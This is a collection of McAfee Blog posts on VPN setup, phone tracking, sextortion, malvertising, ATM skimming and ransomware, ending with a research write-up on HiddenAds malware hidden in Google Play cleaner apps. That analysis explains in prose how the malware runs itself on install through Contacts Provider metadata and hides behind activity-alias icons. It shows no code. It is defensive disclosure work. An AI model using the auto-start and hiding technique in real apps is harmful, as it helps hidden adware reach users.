VPNs aren’t just for desktop computers, though. All sorts of devices — from iPads to smart TVs — can benefit from a VPN connection. If you’re the type of person who handles your finances or does business online using a mobile device, it’s wise to get a VPN to protect yourself.
This article will show you how to choose and install a VPN on your iPhone.
Here are a few of the main ways getting a VPN like McAfee Safe Connect VPN can benefit you:
The best VPN for you depends on your situation and what you plan to do online.
You’ll need a VPN that’s compatible with all of your devices. Many VPNs work with Windows, Android, macOS, Linux, and iOS. However, not all VPNs are compatible with every operating system. For instance, if you have an iPhone but someone else in your home has an Android, it’s important to choose a provider with an app in the Apple App Store and the Google Play Store.
Consider which features you’ll need:
Be careful when choosing a VPN service, though. Some free VPN services will still pass along your information to ad agencies. If online privacy is your main goal, you’ll want to find a VPN that doesn’t store logs of your internet activity or pass along your data.
VPN protocols also matter, and they vary in speed and security. For example, Point-to-Point Tunneling Protocol (PPTP) is a fast protocol, but it’s not as secure as other protocols like OpenVPN or Wireguard. Some VPN providers will let you use multiple protocols.
Finally, look for a VPN that’s easy to use. Some VPNs have convenient features like virtual setup and intuitive interfaces that make using them easier. Some providers will even give you a free trial to test out the VPN before committing to it. Be sure your VPN network also has a reliable support team to help you if you ever have problems.
We’ll show you how to complete VPN setup on your iPhone in the next few sections.
Go to the Apple App store on your iPhone and find an app for the VPN provider you’ve chosen. Tap “Get” and “Install” or double-check to install the app on your phone.
Open the VPN app. Create an account with the VPN provider. Sign up for the service.
You’ll have to enter your passcode after creating your account to allow a change in your phone’s VPN settings and enable the VPN.
You might have to manually configure your VPN if you need access to a private network at a business or school. Here’s how to manually enable a VPN to work on your iPhone:
After you’ve enabled the VPN on your iPhone settings, you’ll have to activate it when you want to use it. Here’s how you can make your VPN active:
Be sure to turn off your VPN whenever you’re not using it so it doesn’t use up your battery. It’s especially important to turn off your VPN if you’re on a limited plan from your provider.
A VPN is a great tool for keeping your internet connection private. When you install a VPN on your iPhone, you can enjoy the internet from anywhere knowing that your personal information has an extra layer of protection against advertisers and hackers.
Whether you use an Android or an iOS device, though, McAfee can help you stay safe online. With McAfee Security for Mobile, you can access quality security tools like a VPN and safe browsing.
Our award-winning app allows you to connect safely and seamlessly to the digital world while keeping unwanted visitors from entering your digital space. Enjoy one of our most comprehensive security technologies while living your best life online.
The post How to Set Up a VPN on an iPhone in 2022 appeared first on McAfee Blog.
Your smartphone comes with built-in location services, which are useful if you lose it or if you use an app that needs to know your location. But what if you don’t want your phone to be tracked? Can the phone be located if you turn off location services? The answer is yes, it’s possible to track mobile phones even if location services are turned off.
Turning off the location service on your phone can help conceal your location. This is important if you don’t want third parties knowing where you are or being able to track your movement. However, a smartphone can still be tracked through other techniques that reveal its general location.
This article explains how your phone can be tracked and what you can do to enhance your mobile security.
Whether you have an iOS or Android phone, there are ways it can be tracked even if location services are turned off. You may have used some of these yourself to find a lost or stolen phone. For example, the Find My iPhone app uses Bluetooth to help you find an iPhone even if it’s offline.
If you have an Android phone and the Find My Device app, you can log in to your Google account and use Google Maps to check your phone’s location history.
Here are four ways that your phone could be tracked:
The United States has more than 307,000 cell towers. When you use your phone, signals travel back and forth to the nearest cell tower. Cell carriers can calculate the general area of your phone by measuring the time it takes for a signal to travel back and forth.
Carriers use cell tower triangulation for a more accurate reading, which combines location data from three cell towers. This technology was developed to help 911 operators locate callers. It pinpoints the phone’s location within a 300-meter area.
A smartphone that has Wi-Fi enabled communicates with nearby Wi-Fi networks even if it’s not connected to one. Your device automatically scans Wi-Fi access points nearby and notes the signal strength.
When using public Wi-Fi, the provider commonly asks you to agree to location tracking. That Wi-Fi provider will then record your location whenever you’re in range of one of its hot spots.
To use public Wi-Fi while protecting your privacy, it’s a good idea to connect with a VPN like McAfee’s Safe Connect VPN. This software protects your data using bank-grade encryption to keep your online activity private. The VPN also keeps your IP address and physical location private.
Cell site simulators — otherwise known as stingrays— mimic cellphone towers. They trick your phone into pinging it, transmitting its location, and identifying information. Stingrays cause cellphones to connect to them rather than to legitimate cell towers by transmitting a stronger signal than that from the cell towers.
Law enforcement officers often use stingrays to locate and track the movement of potential suspects. While attempting to connect to a specific individual, stingrays connect data from all phones in the vicinity of the device.
A device that is infected with malware or spyware can track your location even if your location settings are turned off. Malware can also record your online activities, allow cybercriminals to steal personal information, or slow down your operating system.
To help protect your mobile device, consider getting a comprehensive security tool like McAfee Security for Mobile. It works for both Android and iOS devices and comes with an antivirus app that scans for threats and malware and blocks them in real-time.
While many reasons for tracking a phone’s location information are benign — such as seeing where a loved one might be — scammers and hackers may track phones in an attempt to steal personal data.
Luckily, some telltale signs can help you spot whether your phone is being tracked.
When your phone has spyware, the program continuously runs in the background and drains your battery. A battery that is losing power faster than normal is either due to an old battery or spyware.
Check your battery health to see if it is still strong. If you use an iPhone, follow these steps to check battery health. You’ll see a maximum capacity score that shows your battery power compared to when it was new. An older phone with a battery capacity of 75% could explain why your battery loses power throughout the day. If your battery capacity is 95% or 100% and it drains quickly, however, a virus could be to blame.
It’s a slightly different process to check the battery health on an Android device. Depending on the phone brand, you may need to download an app.
Using apps with high processing demands can cause your mobile device to heat up. A spyware app that tracks your device’s location will use GPS, which causes the phone to work harder and overheat. If you’re using your smartphone normally and it overheats, it could be a sign of malware.
If there are unfamiliar apps on your phone, someone may have tampered with it. The mystery app could be spyware.
If your phone launches activities that you didn’t initiate, an app might be running in the background. In some cases, malware needs to reboot your phone to install updates or change the phone’s settings.
A phone that automatically restarts lights up for no reason or makes noises during calls or texts could be infected with malware.
Here are answers to some common questions about phone tracking.
A phone that is turned off is difficult to track because it stops sending signals to cell towers. However, the service provider or internet provider can show the last location once it’s switched back on.
Even without cell service, Android devices and iPhones can be tracked. Your phone’s mapping apps can track your phone’s location without an internet connection.
The GPS works in two ways: It uses Assisted GPS or A-GPS when you have a data connection. This uses the locations of cellphone towers and known Wi-Fi networks to figure out where you are. It also uses data from GPS satellites for more precise information. The A-GPS needs data service to work, but the GPS radio can receive satellite information without data service.
Yes, your phone can be tracked when it’s in airplane mode. While it does turn off Wi-Fi and cellular services, airplane mode doesn’t turn off GPS (a different technology that sends and receives signals from GPS satellites). You’ll have to disable GPS on your device and turn on airplane mode to prevent your phone from being tracked.
Understanding how your phone can be tracked can help you protect your privacy. For greater peace of mind, though, it can help to have a mobile security tool like McAfee Security for Mobile to keep your Android or Apple device free from spyware.
Our all-inclusive mobile security tool safeguards your digital life by offering safe browsing, a secure VPN, and antivirus software. It actively protects you from malicious apps, like spyware, and unwanted visitors.
With a dedicated mobile security app, you can use your phone the way you want without worrying about cybercriminals tracking your information.
The post Can My Phone Be Tracked If Location Services Are Off? appeared first on McAfee Blog.
There’s no denying that the internet fills a big part of our days. Whether playing, working, or studying, we rely on staying connected. But just as there’s a lot of good that comes with the internet, it can also make us susceptible to cybercriminals.
This is especially true if you’re using your phone on public Wi-Fi. Anyone with access to the public network can see your online activity, including hackers.
Fortunately, by keeping your personal information and data secure, you can continue to live your best life online. Advanced security and privacy tools like virtual private networks (VPNs) can shield your identity online, allowing you to browse online without worrying about hackers.
In this article, we’ll show you how to set up a VPN on your Android device manually or use a VPN app like McAfee’s Safe Connect VPN.
Using a VPN with your Android phone can be a smart move that allows you to live a fully connected life without risking catching the eyes of cybercriminals.
A VPN essentially hides your online presence and encrypts your information so that no one can steal sensitive data, like credit card details and passwords. It maximizes privacy and safety by sending your encrypted information through a tunnel to VPN servers in various locations globally. It’s so effective that not even your internet provider, search engine, or other third parties can take a peek at your data.
If you like video streaming on your smartphone but often run into geo-restricted content, you’ll also find a VPN useful. It changes your IP address, allowing you to access blocked content on platforms like YouTube and Netflix.
If you have an Android smartphone, you can use its built-in VPN client or legacy VPN. The integrated VPN uses several protocol suites, including PPTP, L2TP, and IPSec, to deliver a secure internet connection.
However, you’ll have to configure the built-in VPN manually, which can be hard. So, if you’re not that tech-savvy, a VPN app can be a good option. McAfee Security for Mobile is one such app available on the Google Play Store.
You might also want to opt for an app when:
Depending on your connection requirements and tech skills, we’ll walk you through how to set up your VPN manually or through an app.
Setting up a VPN manually by adjusting the VPN settings is one way to get the job done. This approach allows you to connect your device to a VPN server by entering configuration details.
You can set up the VPN manually via the user interface (UI) on your Android phone. The UI plays a big role in setting up and controlling the VPN solution. When the VPN is active, your mobile device system notifies you through the home screen.
To get your VPN up and running on your Android operating system, you’ll need to find the “Settings” menu on your device.
If you want to set up a VPN quickly and easily, your best bet is to install a VPN app on your mobile device. For instance, you can simply download McAfee’s Mobile Security app from the Google Play Store and register an account, allowing you to log in and start enjoying full protection.
Once you choose a VPN provider and sign up for a subscription plan (if paid), you’re ready to set up your VPN using the Android app. While the setup process can differ slightly depending on the VPN, here’s the process for setting up McAfee’s Safe Connect VPN app:
Now that you know about various steps to install a VPN on an Android device, consider investing in the award-winning McAfee Mobile Security App. This service comes with useful security tools for browsing the net on mobile devices and privacy protection for your Wi-Fi network. You can count on the award-winning software to secure your phone and the data it sends over the internet.
In addition to keeping your connection private, the software detects unwanted visitors and malicious apps. McAfee Mobile Security integrates an antivirus VPN that scans your device for cyberthreats and neutralizes them. The software delivers robust protection against evolving threats and gives you peace of mind.
Start protecting your digital life and securing your network traffic by signing up for McAfee Security for Mobile today.
The post How to Set Up a VPN on an Android appeared first on McAfee Blog.
Our How I Got Here series spotlights the stories of team members who have successfully grown their career here at McAfee. This journey features Gayatri who kicked off her second career at McAfee after leaving her role and returning to further education.
McAfee truly kicked off my second career journey! I previously worked as a Software Engineer before I joined the McAfee Pre-sales Operations team as a summer intern as part of my business graduate program. One thing led to another, and I joined McAfee full-time as a Technical Project Analyst after I graduated later that year!
I’ve always believed in having a growth mindset, I embrace learning and looking for ways to build on my achievements. I’m proud to be part of an organization that nurtures this and helps you pursue your passions. For example, in 2019 I moved from a team focused on products and services for large businesses to a team focused on individual consumers. The needs of consumers versus big businesses are very different, so the business operations work supporting that focus are very different as well. It was a steep learning curve, but I felt supported every step of the way, and since then have grown so much!
Back in 2011, I was a software engineer spending my days doing programming and web development. While I was happy doing that, it was after working on many client-facing projects that I aspired to work at the intersection of business and technology. So, I left engineering and went to business school.
Taking a break from my full-time job to pursue formal business education in a new country was a big step outside my comfort zone. It was challenging to find balance, but the journey was worth it!
Today, I am a Sales Enablement and Operations Manager supporting sales teams all over the world. My focus areas include managing platforms and tools like Salesforce, Power BI, and SharePoint Sales Portal, as well as our department’s training and enablement programs – in other words, technology and professional development that help our team members be successful. Plus, I’m a key team member for an array of programs and projects that are pushing the business forward.
My work is highly collaborative, and I really enjoy working on projects with colleagues across different departments all over the world. I get to see the bigger picture, better understand the business context, and see the WHY behind the initiatives we drive.
From business projects to being a part of the McAfee WISE (Women in Security) Board, it’s the people, culture, and opportunity that sets McAfee apart. I love working with the amazing people at McAfee!
Underlying it all: Working at McAfee matters because ultimately what we do helps protect lives of millions of people online.
I have come to realize that the pain of staying the same is greater than the pain of changing and growing. Develop a growth mindset to keep moving forward!
The post Kicking off my Second Career: Gayatri’s McAfee Journey appeared first on McAfee Blog.
Sextortion is something no parent wants to think could happen to their child, nor a topic most of us would ever imagine we’d need to discuss in our homes. However, according to the latest FBI reports, sextortion is a digital threat to children that, woefully, is on the rise.
According to the FBI, there has been a considerable increase lately in sextortion cases involving children and teens being coerced by adults online.
A sextortion scenario can emerge in several ways. Most often, it occurs when an adult (posing as a peer) engages in casual conversation with an underage child, gains their trust through online conversation, then pressures or threatens the child into sharing sexual photos or videos of themselves.
In some cases, the initial contact with the criminal will be a threat. The person may claim to already have a revealing picture or video of a child that they threaten to share if the victim does not send more pictures.
According to the FBI, this crime more often starts when young people believe they are communicating with someone their age who is interested in a relationship or with someone who is offering something of value. This catfish (false profile) relationship usually involves the predator using gifts, money, flattery, lies, or other methods to get a young person to produce an image.
These dangerous conversations can be initiated through text, a social or chat app, a gaming site, or any number of digital connection points.
After a criminal successfully obtains a photo or video from their victim, the threats can escalate to promises to publish the content or even hurt the child if they don’t send more. This emotionally harrowing situation can ignite shame, fear, and confusion in children who may be too embarrassed to ask for help or report the abuse.
While these criminals rarely request to meet their victims face-to-face, the emotional and physical impact of sextortion can be devastating to a child. According to the FBI, some victims report abusers who become vicious with non-stop harassment and threats. Victims can feel scared, alone, embarrassed, and increasingly desperate. Sadly, as reported in the news, this type of crime can leave some children feeling like they have no way out of the situation.
If you are a parent or caregiver, explain to your child how sextortion can happen to anyone online and why it’s important to only connect with known friends and family. Parents: Consider boosting your device security with parental controls that filter content, report your child’s online activity, and reveal potential problems.
Some essential safety protocols kids should follow online are worthy of repeating. They are:
1) Make social accounts private, don’t share personal information, and only connect with known friends
2) Ignore and block messages from strangers
3) Keep your guard up. People can pretend to be anyone online, and photos can be altered
4) Be suspect if anyone asks you to message or text with them privately
5) Never share risky photos with anyone online—even a trusted friend
6) Tell someone immediately if someone is threatening you online.
With your child, go through their apps, social networks, chats, gaming communities, and friend groups and do some editing, defriending, and blocking. Make sure both you and your child know and trust all their online connections. Remember: Open communication and an honest relationship with your child are the most powerful tools you have to keep your child safe online.
A sextortion situation for a child can be incredibly confusing and cause them to isolate and avoid telling anyone about it. Remind and be clear with your child that they would never be in trouble for coming to you with any problem. Let them know that sextortion is a crime for the perpetrator and that they have not broken any laws by sending photos (despite what an abuser might have told them).
Victims of sextortion should go to a parent or trusted adult and tell them they need help. While doing this can feel terrifying, it’s crucial for victims to know people understand and want to help. For parents and caregivers, contact the FBI at 1-800-CALL-FBI or report the crime online at tips.fbi.gov.
While the bad actors online are out to exploit and ruin our digital spaces, it’s important to maintain a healthy perspective rather than responding with fear. Remind your kids that there’s an army of people even more dedicated than the criminals; people like the FBI who are out to stop online crime and keep the internet safe for families. Additionally, as a parent or caregiver, your commitment to helping your family stay informed, equipped, and empowered online is how we all win.
The post Sextortion: What Your Kids Need to Know appeared first on McAfee Blog.
Smartphones and personal computers have enhanced our lives in so many ways that it can be hard to even imagine a world without them. The internet is an awesome place with endless opportunities and possibilities, but it’s also home to some seedy characters that can expose us to certain risks, like malvertising.
Malvertising, which is short for malicious advertising, attacks and compromises systems by spreading advertisements injected with malicious code. Legitimate advertising networks can then display these malicious advertisements without even knowing they’re infected.
In this article, we’ll take a closer look at what malvertising is and what you can do to secure your data and keep your information safe online. We’ll also provide some examples so you can fully understand how malvertising might be used.
Having a thorough understanding of malvertising is the first step toward keeping the internet a safe place for you and your family.
Since malvertising disguises malicious code inside legitimate online advertising, ad networks may find it hard to stop malvertising from appearing as legitimate ads.
Viewing malvertisements can put your personal information at risk, such as your identification information, contact details, and financial data. It can also alter or delete your information, hijack your computer functions, spy on your computer activities, and steal your data. And this all can happen without your knowledge.
The type of risk, though, depends on the programs that the malvertising successfully downloads onto your device. These programs can include:
Cybercriminals use various methods to inject infected code into online ads. Below are some examples of the types of malvertising that can pose a risk to your cybersecurity and exploit vulnerabilities on your devices.
Even highly reputable and popular websites, such as The New York Times, the BBC, Spotify, and AOL, have been targeted in the past by malicious ads, putting billions of visitors at risk. Any website can become a target.
Malvertising is often confused with ad malware. Both are forms of malware and involve infected advertisements, but they’re fundamentally different.
Malvertising uses malicious code that can cause harm to anyone viewing the infected advertisement, while adware is used to target individuals by forcing ads onto their devices to generate clicks. Users can get bombarded with pop-up ads, which can affect their devices. Adware also collects browsing information to sell to advertisers. This is often referred to as browser hijacking.
How to avoid malvertising as a web user
Taking the necessary steps to protect your online activities and personal identifying information can help shield you from malvertising attacks. Massive volumes of online ads are displayed every day, so it’s never been more important to safeguard yourself against any shady activity on the internet.
Taking a few steps can help you avoid malvertising and minimize your risk of identity theft.
With so much sensitive information being shared online, it’s never been more important to take the necessary steps to help keep your data and privacy safe.
McAfee Total Protection services can help increase cybersecurity on your devices and keep your identity private from hackers. We offer all-in-one protection so you can get the peace of mind you deserve while enjoying the internet.
All products include identity monitoring, automated privacy using a virtual private network (VPN), a password manager, a firewall, and much more. We also offer identity restoration assistance and up to $1 million in identity theft coverage to help relieve the burden of data breaches.
Get comprehensive identity protection from McAfee and get back to surfing the internet with confidence.
The post What Is Malvertising and How Do You Avoid It? appeared first on McAfee Blog.
Ever hear of a crime called skimming? It may not be as dramatic a crime as assault or Ponzi schemes, but it can cause significant problems to you as your savings account can be wiped out in a flash.
Picture a scrawny nerd tampering with an automated teller machine (ATM)—the machine you use with your debit card to get cash. The thief places a device over the slot through which you slide your debit card. You have no idea it’s there. You swipe your card, and the device “skims” or reads your card’s information. In the middle of the night, the thief creeps back, removes the skimming device, downloads your data, burns it to a blank ATM card, makes a fat withdrawal and goes home with the loot. Or they could download your information from the skimmer and then use your information to make online purchases or access your account. Either way, they could clean you out before you wake up next morning!
Now, to be successful, the criminal not only needs a skimming device, they also need to attach a tiny wireless camera to capture your PIN. These cameras are usually concealed in the lighting fixture above the keypad, in a brochure near the machine, or attached directly to the ATM.
To protect yourself from being skimmed, and generally staying safe when using your debit or credit cards, follow these tips:
Stay safe from skimming!
The post What is ATM Skimming? appeared first on McAfee Blog.
We all love to spend time surfing the web — whether we’re shopping, paying bills, or reacting to funny memes. The internet has also allowed many of us to keep working from home even during the pandemic.
The internet is great, but the best way to keep enjoying it is to know where and how bad actors can pop up in our computer systems.
One way is through the use of ransomware, which is a type of malware that threatens users with blocked access or doxing (exposing personal information) if they don’t pay money to the cybercriminals who sent the malicious software.
We’ll explain what ransomware is, how it works, and how to defend against it so you can stay one step ahead and continue enjoying life online.
Ransomware is malware that uses encryption to hold your information at ransom. This might mean you can’t access critical data in files, databases, or applications. The cybercriminal will then usually demand a ransom to provide access.
Often, ransomware includes a deadline to add a sense of urgency to the threat. Typical ransomware attacks might suggest that your data will be lost or published on the web for the world to see if you don’t pay. Ransom demands generally ask for payment in Bitcoin or some other form of cryptocurrency, where transactions are less regulated and traceable.
Unfortunately, ransomware is often designed to spread across a network and target database and file servers — quickly paralyzing an entire organization. Ransomware attacks represent a growing problem, generating billions of dollars in payments to cybercriminals and inflicting damage and expenses for businesses and governmental organizations.
However, if you have a basic understanding of how ransomware works, you can take steps to protect yourself.
Ransomware uses asymmetric encryption, which uses a mixture of symmetric and asymmetric encryption methods to make it more difficult to decrypt ransomed data files. Put simply, cybercriminals using asymmetric encryption generate a public key to encrypt files and a separate but private key to decrypt the same files. As a result, the victim has to rely on the hacker for the decryption key — for a price, of course — because the private key to decrypt the files is stored on the attacker’s server.
The attacker then makes the private key available to the victim only after the ransom is paid, although this isn’t always the case, as seen in recent ransomware campaigns. Without access to the private key, it can be difficult to decrypt the files being held for ransom.
Many forms of ransomware exist. Often, ransomware (and other malware) is distributed using email spam campaigns or through targeted attacks. Malware needs an attack vector, which is how a cybercriminal gains access to a device to deliver malicious software. This might take the form of an email attachment, webpage, pop-up window, or even instant message. After malware establishes its presence, though, it’ll stay on the system until it finishes its task.
After a successful exploit, ransomware drops and executes a malicious binary on the infected system. This binary then searches and encrypts valuable files, such as Microsoft Word documents, images, databases, and so on. The ransomware may also exploit system and network vulnerabilities to spread to other systems and possibly across entire organizations.
Once files are encrypted, ransomware prompts the user for a ransom to be paid within 24 to 48 hours to decrypt the files, or they’ll be lost forever. If a data backup is unavailable or those backups are encrypted, the victim might have to pay the ransom to recover their personal files.
Cyberattacks, including different types of ransomware, occur and evolve all the time, but there are several ways to avoid them.
It all starts with looking to the past to protect your sensitive data in the future. In the next few sections, we’ll cover how hackers have engaged in extortion across computer systems over the years.
CryptoLocker was one of the earliest adopters of this type of malware — demanding a ransom payment in cryptocurrency for a user to get their data back. In fact, it was probably the first time many people had heard the term “ransomware.”
In 2013, CryptoLocker attacked through an email attachment that looked like the tracking notifications of shipping companies like UPS and FedEx. It resulted in more than 250,000 infected computer systems and up to $27 million in extorted money.
Although a decryption key has existed for CryptoLocker since 2014, it can still cause problems for users who may not recognize the presence of the ransomware before opening the attachment.
In 2017, Wannacry took the “worm” approach to ransomware, spreading across Windows PCs through shared networks. At the time, the ransomware turned everything on the computer into encrypted data, with the hackers threatening not to return the data until the ransom was paid (in this case, cryptocurrency). Estimates point to over 200,000 computers being infected around the world.
A killswitch was created to help operating systems infected with WannaCry, but the hacking group is still out there posing new threats.
The Kaseya ransomware attacks occurred on July 2, 2021, and led to an FBI response because this represented a global cybercrime event. In this instance, though, the ransomware group REvil made damaging use of vulnerabilities found in the on-premises software of Kaseya VSA. The hackers then demanded $70 million in Bitcoin.
The company managed many service providers, so the attack affected all of the downstream customers of those service providers. In fact, the malware attack may have affected around 1,500 organizations across the world.
The good news is that patches have now been developed for affected servers.
You might not immediately think of the world’s largest meat supplier as being one of the victims of ransomware, but that’s exactly what happened to JBS Foods.
Threatening to disrupt the food supply chain in May 2021, organized cybersecurity attacks by REvil targeted JBS’s North American and Australian plants, encrypting data that was then ransomed for over $11 million worth of Bitcoin by the company.
On May 7, 2021, hackers made malicious use of a single leaked password belonging to a virtual private network (VPN) account associated with the Colonial Pipeline Company.
Even though the breached account had been dormant for some time, it was still successfully used as an entry point to the Colonial network. The password to this account was linked to a batch of compromised passwords on the dark web, leading officials to believe it could have been an employee who re-used the same password for other accounts.
This major cybersecurity event showcases the ways that ransomware can set up camp inside computer systems without the use of phishing.
Being proactive is one of the best things you can do to safeguard against ransomware attacks. This means thinking ahead to what vulnerabilities may exist in your current computer network setup and addressing them before they’re used for cyber extortion.
There are several ways you can help reduce your exposure to cybercriminals by simply being alert to where they usually get in. The following sections offer information on how to set up the best possible defense against ransomware.
The best way to avoid the threat of being locked out of your critical files is to ensure that you always have backup copies of them, preferably in the cloud and on an external hard drive. This way, if you do get a ransomware infection, you can wipe your computer or device free and reinstall your files from backup. This protects your data, and you won’t be tempted to reward the malware authors by paying a ransom. Backups won’t prevent ransomware but they can help mitigate the risks.
Make sure your backup data isn’t accessible for modification or deletion from the systems where the data resides. Ransomware will look for data backups and encrypt or delete them so they can’t be recovered, so it’s important to use backup systems that don’t allow direct access to backup files.
Make sure all of your computers and devices are protected with comprehensive security software and keep all of your software up to date. Make sure you update your devices’ software early and often, as patches for flaws are typically included in each update.
Be careful where you click. Don’t respond to emails and text messages from people you don’t know and only download applications from trusted sources. This is important since malware authors often use social engineering to try to get you to install dangerous files.[Text Wrapping Break]
Avoid using public Wi-Fi networks since many of them aren’t secure and cybercriminals can snoop on your internet usage. Instead, consider installing a VPN like McAfee Secure VPN, which provides you with a secure connection to the internet no matter where you go.[Text Wrapping Break]
Keep current on the latest ransomware threats so you know what to look out for. In the case that you do get a ransomware infection and haven’t backed up all of your files, know that some decryption tools are made available by tech companies to help victims.
Ransomware attacks don’t have to spell disaster if you catch them in time and know what to do. If you suspect you’ve been hit with a ransomware attack, it’s important to act quickly.
Fortunately, there are several steps you can take to address ransomware issues quickly and have your computer systems return to business as usual in no time.
We’ve all spent more time online recently in the wake of the pandemic, and no one needs cybersecurity issues on their plates during this or any other time. The good news is that antivirus software is evolving rapidly and there are plenty of steps you can take to shield your computer systems from needless attacks like ransomware.
One surefire way to get peace of mind against hacker groups is to put your trust in the expert care of Total Protection services from McAfee. All of our plans come with a private VPN, antivirus protection, and safe-browsing features. This means you can live your connected life free from threats like ransomware, malware, and more.
With multiple affordable plans, there’s a McAfee protection plan for every person. It’s a small price to pay for staying one step ahead of ransomware attacks.
The post What Are Ransomware Attacks? An In-Depth Guide appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team has identified new malware on the Google Play Store. Most of them are disguising themselves as cleaner apps that delete junk files or help optimize their batteries for device management. However, this malware hides and continuously show advertisements to victims. In addition, they run malicious services automatically upon installation without executing the app.
They exist on Google Play even though they have malicious activities, so the victim can search for the following apps to optimize their device.
Users may generally think installing the app without executing it is safe. But you may have to change your mind because of this malware. When you install this malware on your device, it is executed without interaction and executes a malicious service.
In addition, they try to hide themselves to prevent users from noticing and deleting apps. Change their icon to a Google Play icon that users are familiar with and change its name to ‘Google Play’ or ‘Setting.’
Automatically executed services constantly display advertisements to victims in a variety of ways.
These services also induce users to run an app when they install, uninstall, or update apps on their devices.
To promote these apps to new users, the malware authors created advertising pages on Facebook. Because it is the link to Google Play distributed through legitimate social media, users will download it without a doubt.
This malware uses the Contact Provider. The Contact Provider is the source of data you see in the device’s contacts application, and you can also access its data in your own application and transfer data between the device and online services. For this, Google provides ContactsContract class. ContactsContract is the contract between the Contacts Provider and applications. In ContactsContract, there is a class called Directory. A Directory represents a contacts corpus and is implemented as a Content Provider with its unique authority. So, developers can use it if they want to implement a custom directory. The Contact Provider can recognize that the app is using a custom directory by checking special metadata in the manifest file.
The important thing is the Contact Provider automatically interrogates newly installed or replaced packages. Thus, installing a package containing special metadata will always call the Contact Provider automatically.
The first activity defined in the application tag in the manifest file is executed as soon as you install it just by declaring the metadata. The first activity of this malware will create a permanent malicious service for displaying advertisements.
In addition, the service process will generate immediately even if it is forced to kill.
Next, they change their icons and names using the <activity-alias> tag to hide.
It is confirmed that users have already installed these apps from 100K to 1M+. Considering that the malware works when it is installed, the installed number is reflected as the victim’s number. According to McAfee telemetry data, this malware and its variants affect a wide range of countries, including South Korea, Japan, and Brazil:
This malware is auto-starting malware, so as soon as the users download it from Google Play, they are infected immediately. And it is still constantly developing variants that are published by different developer accounts. Therefore, it is not easy for users to notice this type of malware.
We already disclosed this threat to Google and all reported applications were removed from the Play Store. Also, McAfee Mobile Security detects this threat as Android/HiddenAds and protects you from this type of malware. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com
| App Name | Package Name | Downloads |
| Junk Cleaner | cn.junk.clean.plp | 1M+ |
| EasyCleaner | com.easy.clean.ipz | 100K+ |
| Power Doctor | com.power.doctor.mnb | 500K+ |
| Super Clean | com.super.clean.zaz | 500K+ |
| Full Clean -Clean Cache | org.stemp.fll.clean | 1M+ |
| Fingertip Cleaner | com.fingertip.clean.cvb | 500K+ |
| Quick Cleaner | org.qck.cle.oyo | 1M+ |
| Keep Clean | org.clean.sys.lunch | 1M+ |
| Windy Clean | in.phone.clean.www | 500K+ |
| Carpet Clean | og.crp.cln.zda | 100K+ |
| Cool Clean | syn.clean.cool.zbc | 500K+ |
| Strong Clean | in.memory.sys.clean | 500K+ |
| Meteor Clean | org.ssl.wind.clean | 100K+ |
SHA256:
Domains:
The post New HiddenAds malware affects 1M+ users and hides on the Google Play Store appeared first on McAfee Blog.
If you’re the parent of a tween or teen, chances are they’re not the only ones going back to school. Their smartphones are going back too.
Our recent global research showed just how many tweens and teens use a smartphone. Plenty. Depending on the age band, that figure ranges anywhere from 76% to 93%, with some noteworthy variations between countries.
One of the top reasons parents give their child a phone is to stay in touch, so it likely follows that those phones will likely make their way into the classroom. Whether or not that’s the case for your child, back-to-school time is still a great time to help your child stay safer on their phone—and keep their phones safer too in the event of loss or theft.
Comprehensive online protection software can protect your phone in the same way that it protects your laptops and computers. Unfortunately, while many people use it on their laptops and computers, far fewer people use it on their phones—only about 42% of tweens and teens worldwide use it on their smartphones according to our most recent research.
Installing it can protect their privacy, keep them safe from attacks on public Wi-Fi, and automatically block unsafe websites and links, just to name a few things it can do. You can find our smartphone apps in both Google Play and the Apple App Store.
Updates do all kinds of great things for gaming, streaming, and chatting apps, such as adding more features and functionality over time. Updates do something else—they make those apps more secure. Hackers will hammer away at apps to find or create vulnerabilities, which can steal personal info or compromise the device itself. Updates will often include security improvements, in addition to performance improvements.
iPhones update apps automatically by default, yet you can learn how to turn them back on here if they’ve been set to manual updates. For Android phones, this article can help you set apps to auto-update if they aren’t set that way already.
Much the same goes for the operating system on smartphones too. Updates can bring more features and more security. iOS users can learn how to update their phones automatically in this article. Likewise, Android users can refer to this article about automatic updates for their phones.
Another finding from our latest global research is just how few people use a lock screen on their phones. Only 56% of parents said that they protect their smartphone with a password or passcode, and only 42% said they do the same for their child’s smartphone—a further 14% drop between parents and kids.
The issue here is clear. If an unlocked phone gets lost or stolen, all the information on it is an open book to a potential hacker, scammer, or thief. Enabling a lock screen if you haven’t already. It’s a simple feature found in both iOS and Android devices.
Preventing the actual theft of your phone is important too, as some hacks happen simply because a phone falls into the wrong hands. This is a good case for password or PIN protecting your phone, as well as turning on device tracking so that you can locate your phone or even wipe it remotely if you need to. Apple provides iOS users with a step-by-step guide for remotely wiping devices, and Google offers up a guide for Android users as well.
Strong, unique passwords offer another primary line of defense. Yet with all the accounts we have floating around, juggling dozens of strong and unique passwords can feel like a task—thus the temptation to use (and re-use) simpler passwords. Hackers love this because one password can be the key to several accounts. Instead, try a password manager that can create those passwords for you and safely store them as well. Comprehensive security software will include one, and McAfee also offers a free service with True Key.
Google Play and Apple’s App Store have measures in place to review and vet apps to help ensure that they are safe and secure. Third-party sites may not have that process in place. In fact, some third-party sites may intentionally host malicious apps as part of a broader scam. Granted, cybercriminals have found ways to work around Google and Apple’s review process, yet the chances of downloading a safe app from them are far greater than anywhere else. Furthermore, both Google and Apple are quick to remove malicious apps once discovered, making their stores that much safer.
One way that crooks can hack their way into your phone is via public Wi-Fi, such as at coffee shops, libraries, and other places on the go. These networks are public, meaning that your activities are exposed to others on the network—your banking, your password usage, all of it. One way to make a public network private is with a VPN, which can keep you and all you do protect from others on that Wi-Fi hotspot. Note that our VPN can turn on automatically for public Wi-Fi, protecting account credentials, search habits, and other activities online.
The same advice applies for these devices as well—strong online protection software, password management, VPN usage, and so on. What’s good for a smartphone is good for laptops and desktops too.
For laptops in particular, you can track these devices as well, just like a smartphone. The process differs from smartphones, yet it’s still quite straightforward. Windows and Mac users can enable the following settings—and you can click the links below for complete instructions from the source:
Putting these same protections in place on your laptops and desktops will help make your child, and your whole family, safer than before.
Note that on school-issued devices, your school district will likely have technology teams who manage them. As part of that, they typically have policies and restrictions in place to help keep them running safe and sound. If you have any questions about what kind of protections are in place on these school-issued devices, contact your school district.
While we’ve largely focused on protecting the phone itself, there’s also the importance of protecting the person who’s using it. In this case, your child—what they see, do, and experience on the internet. Device security is only part of the equation there.
